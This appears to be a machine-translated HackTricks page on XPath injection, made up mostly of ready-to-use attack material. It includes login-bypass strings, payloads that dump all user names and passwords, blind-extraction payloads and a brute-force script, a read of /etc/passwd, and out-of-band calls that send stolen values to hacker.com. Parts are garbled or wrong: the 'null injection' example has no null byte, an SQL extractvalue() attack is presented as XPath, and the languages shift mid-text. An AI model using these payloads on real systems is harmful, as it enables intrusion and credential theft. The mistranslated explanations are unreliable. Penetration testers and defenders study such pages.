hacktricks/pentesting-web/xpath-injection.md
2024-02-10 13:11:20 +00:00

23 KiB

XPATH ubacivanje

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Hakerske vesti u realnom vremenu
Budite u toku sa brzim svetom hakovanja putem vesti i uvida u realnom vremenu

Najnovije objave
Ostanite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Osnovna sintaksa

Tehnika napada poznata kao XPath ubacivanje se koristi kako bi se iskoristile aplikacije koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa radi pretrage ili navigacije XML dokumenata.

Opisane čvorke

Izrazi se koriste za selektovanje različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sumirani u nastavku:

  • nodename: Selektovani su svi čvorovi sa imenom "nodename".
  • /: Selekcija se vrši od korenskog čvora.
  • //: Selektovani su čvorovi koji odgovaraju selekciji iz trenutnog čvora, bez obzira na njihovu lokaciju u dokumentu.
  • .: Selektovan je trenutni čvor.
  • ..: Selektovan je roditelj trenutnog čvora.
  • @: Selektovani su atributi.

Primeri XPath-a

Primeri putnih izraza i njihovi rezultati uključuju:

  • bookstore: Selektovani su svi čvorovi sa imenom "bookstore".
  • /bookstore: Selektovan je korenski element bookstore. Napomena: apsolutna putanja do elementa se predstavlja putanjom koja počinje sa kosom crtom (/).
  • bookstore/book: Selektovani su svi elementi book koji su deca bookstore.
  • //book: Selektovani su svi elementi book u dokumentu, bez obzira na njihovu lokaciju.
  • bookstore//book: Selektovani su svi elementi book koji su potomci elementa bookstore, bez obzira na njihovu poziciju ispod elementa bookstore.
  • //@lang: Selektovani su svi atributi sa imenom lang.

Korišćenje predikata

Predikati se koriste za preciziranje selekcija:

  • /bookstore/book[1]: Selektovan je prvi element book koji je dete elementa bookstore. Rešenje za verzije IE 5 do 9, koje indeksiraju prvi čvor kao [0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
  • /bookstore/book[last()]: Selektovan je poslednji element book koji je dete elementa bookstore.
  • /bookstore/book[last()-1]: Selektovan je predposlednji element book koji je dete elementa bookstore.
  • /bookstore/book[position()<3]: Selektovana su prva dva elementa book koja su deca elementa bookstore.
  • //title[@lang]: Selektovani su svi elementi title sa atributom lang.
  • //title[@lang='en']: Selektovani su svi elementi title sa vrednošću atributa "lang" jednako "en".
  • /bookstore/book[price>35.00]: Selektovani su svi elementi book iz bookstore-a sa cenom većom od 35.00.
  • /bookstore/book[price>35.00]/title: Selektovani su svi elementi title iz elemenata book iz bookstore-a sa cenom većom od 35.00.

Postupanje sa nepoznatim čvorovima

Džokeri se koriste za uparivanje nepoznatih čvorova:

  • *: Uparuje bilo koji element čvora.
  • @*: Uparuje bilo koji atribut čvora.
  • node(): Uparuje bilo koji čvor bilo koje vrste.

Dalji primeri uključuju:

  • /bookstore/*: Selektuju se svi elementi čvorova koji su deca elementa bookstore.
  • //*: Selektuju se svi elementi u dokumentu.
  • //title[@*]: Selektuju se svi elementi title sa barem jednim atributom bilo koje vrste.

Primer

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Pristupanje informacijama

XPath Injection je tehnika koja se koristi za napad na aplikacije koje koriste XPath za pretragu i filtriranje podataka. Ova tehnika omogućava napadaču da izvrši proizvoljan XPath upit, što može rezultirati otkrivanjem osjetljivih informacija ili čak izvršavanjem udaljenog koda.

Da biste pristupili informacijama putem XPath Injection, prvo morate identificirati ranjivu točku unosa. To može biti bilo koji unos koji se koristi u XPath upitu, poput parametara URL-a ili korisničkog unosa. Nakon što identificirate ranjivu točku unosa, možete iskoristiti je kako biste izvršili proizvoljan XPath upit.

Jedan od načina za izvršavanje XPath Injection napada je ubacivanje zlonamjernog XPath izraza u ranjivu točku unosa. Na primjer, ako je ranjiva točka unosa korisnički unos koji se koristi u XPath upitu, možete ubaciti zlonamjerni XPath izraz koji će vratiti osjetljive informacije. Na primjer, ako je XPath upit //user[name='admin'], možete ubaciti zlonamjerni izraz //user[name='admin' or 1=1] kako biste dobili sve korisničke zapise umjesto samo admina.

Osim toga, možete koristiti funkcije poput substring() i concat() kako biste izvršili dodatne manipulacije nad podacima. Na primjer, možete koristiti substring() funkciju kako biste dobili samo određeni dio podataka ili concat() funkciju kako biste spojili više vrijednosti.

Važno je napomenuti da je XPath Injection ozbiljan sigurnosni propust i treba ga odmah popraviti. Da biste spriječili XPath Injection napade, preporučuje se korištenje parametriziranih upita ili sanitizacija unosa kako bi se spriječilo izvršavanje proizvoljnog XPath koda.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifikacija i krađa šeme

XPath Injection napad može se koristiti za identifikaciju i krađu šeme web aplikacije. Kroz ovaj napad, haker može dobiti pristup osjetljivim informacijama o strukturi baze podataka, kao što su tablice, stupci i njihovi nazivi.

Da biste izvršili ovaj napad, prvo morate pronaći ranjivu točku unosa koja koristi XPath upite za dohvaćanje podataka iz baze podataka. Zatim možete iskoristiti ovu ranjivost ubacivanjem zlonamjernog XPath izraza kako biste otkrili šemu baze podataka.

Jedan od načina za identifikaciju šeme je korištenje funkcije extractvalue(). Ova funkcija omogućuje izvršavanje XPath upita i dohvaćanje vrijednosti iz rezultata. Možete koristiti ovu funkciju za dohvaćanje naziva tablica i stupaca iz baze podataka.

Primjer zlonamjernog XPath izraza za izvršavanje ovog napada je sljedeći:

' or extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 1 offset 0))) or '

Ovaj izraz će pokušati dohvatiti naziv prve tablice iz information_schema.tables tablice. Ako je napad uspješan, dobit ćete odgovor koji sadrži naziv tablice.

Kada dobijete nazive tablica, možete nastaviti s dohvaćanjem naziva stupaca iz odabrane tablice. Primjer zlonamjernog XPath izraza za dohvaćanje naziva stupaca je sljedeći:

' or extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_name='ime_tablice' limit 1 offset 0))) or '

Zamijenite ime_tablice s nazivom tablice iz koje želite dohvatiti nazive stupaca. Ako je napad uspješan, dobit ćete odgovor koji sadrži naziv stupca.

Kroz ovaj postupak, možete postupno identificirati i dohvatiti sve potrebne informacije o šemi baze podataka web aplikacije.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass autentifikacije

Primer upita:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR zaobilaženje u korisničkom imenu i lozinci (isti podatak u oba)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Zloupotreba null ubrizgavanja

Null ubrizgavanje je tehnika koja se koristi za iskorišćavanje grešaka u implementaciji XPath upita kako bi se dobili neželjeni rezultati ili otkrile osetljive informacije. Ova tehnika se zasniva na umetanju NULL bajtova u XPath izraz kako bi se prekinula interpretacija upita i izvršile neželjene operacije.

Da biste iskoristili null ubrizgavanje, prvo morate identifikovati tačku ubrizgavanja u aplikaciji. Ovo može biti mesto gde se korisnički unos koristi za formiranje XPath upita. Zatim, umetnite NULL bajtove u unos kako biste prekinuli izvršavanje upita i izvršili željene operacije.

Na primer, ako imate XPath upit koji izgleda ovako:

//user[name/text()='admin' and password/text()='password']

Možete iskoristiti null ubrizgavanje tako što ćete umetnuti NULL bajtove između operatora and kako biste prekinuli izvršavanje uslova i dobili sve korisničke naloge:

//user[name/text()='admin' and password/text()='password' or 'x'='x']

Null ubrizgavanje može biti veoma moćna tehnika koja omogućava izvršavanje neovlašćenih operacija i otkrivanje osetljivih informacija. Međutim, treba biti oprezan prilikom korišćenja ove tehnike, jer može dovesti do ozbiljnih posledica kao što su otkrivanje lozinki ili izvršavanje neovlašćenih komandi.

Username: ' or 1]%00

Dvostruki ILI u korisničkom imenu ili u lozinci (važi samo sa jednim ranjivim poljem)

VAŽNO: Primetite da je "i" prva operacija koja se izvršava.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Izdvajanje stringova

Izlaz sadrži stringove i korisnik može manipulisati vrednostima kako bi vršio pretragu:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Izvlačenje podataka putem slepe eksploatacije

Dobijanje dužine vrednosti i izvlačenje putem poređenja:

XPath injection vulnerabilities can be exploited to extract sensitive information from a web application. One common technique is to use blind exploitation, where the attacker can infer information by making logical comparisons.

To determine the length of a specific value, the attacker can use the string-length() function in XPath. By injecting a payload that includes this function, the attacker can retrieve the length of the desired value.

For example, to extract the length of the username, the attacker can inject the following payload:

' or string-length(//user/username/text())=X or '

The X in the payload should be replaced with a number to perform the comparison. If the length of the username is equal to the specified number, the application will return a valid response. Otherwise, it will return an error or no response at all.

To extract the value itself, the attacker can use a similar technique. By injecting a payload that includes a substring comparison, the attacker can retrieve the characters of the desired value one by one.

For example, to extract the username character by character, the attacker can inject the following payload:

' or substring(//user/username/text(),X,1)='Y' or '

The X in the payload should be replaced with the position of the character, starting from 1. The Y should be replaced with the desired character to compare.

By repeating this process for each character, the attacker can gradually extract the entire value.

It is important to note that blind exploitation can be a time-consuming process, as it requires making multiple requests and performing comparisons. However, it can be an effective technique for extracting sensitive information when other methods are not available.

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Primer

import requests

def get_user(username):
    url = f"http://example.com/users?username={username}"
    response = requests.get(url)
    return response.text

def main():
    username = input("Enter a username: ")
    user_data = get_user(username)
    print(user_data)

if __name__ == "__main__":
    main()

Ovde je primer Python koda. Ovaj kod koristi requests biblioteku za slanje HTTP zahteva. Funkcija get_user prima korisničko ime kao argument i pravi URL zahteva na osnovu tog korisničkog imena. Zatim šalje GET zahtev na taj URL i vraća odgovor kao tekst. Glavna funkcija main traži od korisnika da unese korisničko ime, a zatim poziva get_user funkciju i prikazuje dobijene podatke na ekranu.

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Čitanje datoteke

XPath Injection može se koristiti za čitanje sadržaja datoteke na ciljnom serveru. Da biste to postigli, morate pronaći ranjivu točku unosa koja koristi XPath upite za dohvaćanje podataka iz XML datoteke.

Da biste pročitali sadržaj datoteke, možete koristiti funkciju document() u XPath upitu. Ova funkcija omogućuje vam pristup drugim datotekama na serveru.

Primjer upita za čitanje datoteke /etc/passwd na Linux sustavu:

' or 1=1 or name()='username' or document('/etc/passwd') or '

Ovaj upit će vratiti sadržaj datoteke /etc/passwd kao rezultat XPath upita.

Važno je napomenuti da je uspješno čitanje datoteke ovisno o pravima pristupa korisnika koji izvršava XPath upit.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Eksploatacija

Out-of-Band (OOB) eksploatacija je tehnika koja se koristi za iskorišćavanje XPath Injection ranjivosti. Ova tehnika omogućava napadaču da izvrši udaljene zahteve i primi odgovore izvan ciljne aplikacije.

OOB Kanali

OOB kanali su načini komunikacije između napadača i njegovog kontrolnog servera. Ovi kanali se koriste za slanje podataka iz ciljne aplikacije ka napadaču. Evo nekoliko OOB kanala koji se mogu koristiti:

  • DNS kanal: Napadač može koristiti DNS zahtev da bi slao podatke iz ciljne aplikacije ka kontrolnom serveru. Na primer, napadač može ubaciti payload u XPath izraz koji će izazvati DNS zahtev ka kontrolnom serveru sa podacima koje želi da prenese.

  • HTTP kanal: Napadač može koristiti HTTP zahtev da bi slao podatke iz ciljne aplikacije ka kontrolnom serveru. Na primer, napadač može ubaciti payload u XPath izraz koji će izazvati HTTP zahtev ka kontrolnom serveru sa podacima koje želi da prenese.

  • SMTP kanal: Napadač može koristiti SMTP protokol da bi slao podatke iz ciljne aplikacije ka kontrolnom serveru. Na primer, napadač može ubaciti payload u XPath izraz koji će izazvati slanje emaila sa podacima koje želi da prenese.

OOB Eksploatacija u praksi

Da bi se izvršila OOB eksploatacija, napadač mora prvo pronaći ranjivu tačku ubrizgavanja XPath-a u ciljnoj aplikaciji. Nakon toga, napadač može konstruisati payload koji će izazvati OOB kanal i preneti podatke ka kontrolnom serveru.

Evo nekoliko koraka koje napadač može preduzeti da bi izvršio OOB eksploataciju:

  1. Identifikacija ranjive tačke ubrizgavanja XPath-a u ciljnoj aplikaciji.
  2. Konstrukcija payloada koji će izazvati OOB kanal i preneti podatke ka kontrolnom serveru.
  3. Slanje payloada ka ciljnoj aplikaciji i praćenje OOB kanala za primanje podataka.
  4. Analiza primljenih podataka i izvršavanje odgovarajućih akcija.

Važno je napomenuti da OOB eksploatacija može biti složena i zahteva dobro razumevanje XPath Injection ranjivosti i OOB kanala. Napadač mora biti pažljiv prilikom konstrukcije payloada i praćenja OOB kanala kako bi uspešno izvršio eksploataciju.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Automatski alat

Reference

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hacking Insights
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovije objave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: